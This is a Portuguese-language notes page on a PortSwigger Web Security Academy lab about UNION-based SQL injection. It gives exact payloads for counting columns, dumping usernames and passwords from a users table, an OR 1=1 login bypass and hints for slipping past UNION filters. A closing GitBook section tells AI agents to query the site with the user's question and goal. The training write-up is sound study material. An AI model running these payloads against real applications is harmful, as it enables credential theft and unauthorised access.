> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/sql-injection/union-attack-retrieving-data-from-other-tables.md).

# Ataque UNION para Extrair Dados de Outras Tabelas

Notas sobre Ataque UNION para Extrair Dados de Outras Tabelas para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### Ataque de UNION por Injeção SQL, recuperando dados de outras tabelas

**Contexto:** `categoria` filtro vulnerável a injeção; A resposta gera resultados SQL, então um `UNION SELECT` permite injetar e exibir linhas de outras tabelas.

**Objetivo do laboratório:** recuperar todos `nome de usuário` / `senha` da `users` tabela e depois conectar como `administrator`.

#### Etapas (ordem, payloads exatos)

1. **Determine o número de colunas** (se desconhecido):

   ```sql
   ' ORDER BY 1-- -
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```

Quando `ORDER BY N` causa um erro, o número de colunas < N. 2. **Validar `UNION`** (mesmo número de colunas da solicitação original): / Exemplo se a consulta retornar 2 colunas:

````
```sql
' UNION SELECT '1','2'-- -
```
````

ou com `NULL` para colunas não relevantes:

````
```sql
' UNION SELECT NULL, NULL-- -
```
````

3\. **Extraia `nome de usuário` / `senha`** (ajuste o número/ordem das colunas): / Se a solicitação original tiver **2 colunas**:

````
```sql
' UNION SELECT username, password FROM users-- -
```
````

Se tiver **3 colunas**, coloque `NULL` para a coluna não utilizada, por exemplo (texto na segunda posição):

````
```sql
' UNION SELECT NULL, username, password FROM users-- -
```
````

— Se os tipos forem incompatíveis: use `CAST`/`TO_CHAR` ou `NULL` para forçar compatibilidade:

````
```sql
' UNION SELECT CAST(username AS CHAR), CAST(password AS CHAR) FROM users-- -
```
````

4\. **Verifique a saída** — a resposta deve conter `nome de usuário`/`senha` pares.

* Encontre o `administrator` linha e registre sua senha.
* Use essas credenciais na página de login.

5. **Alternativa (se a exfiltração falhar)** — burlar d

   ```sql
   ' OR 1=1-- -
   ```

(menos evidência do que o dump; prefira a exfiltração se possível.)

#### Detalhes técnicos

* Use constantes separadas (ou `NULL`) para identificar quais colunas são exibidas.
* Oracle: nomes em MAIÚSCULAS se não estiverem entre aspas; pode exigir `TO_CHAR`.
* MSSQL/MySQL/Postgres: `CAST`/`CONVERT`/`::text` se forem tipos diferentes.
* Se `UNION` bloqueado, teste mudanças no espaçamento/comentários ou funções para reconstruir a cadeia (`CONCAT`, `CHR`/`CHAR`).

#### Impacto resumido

* Credenciais (administrador), controle da aplicação, exfiltração/alteração de dados.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/sql-injection/union-attack-retrieving-data-from-other-tables.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
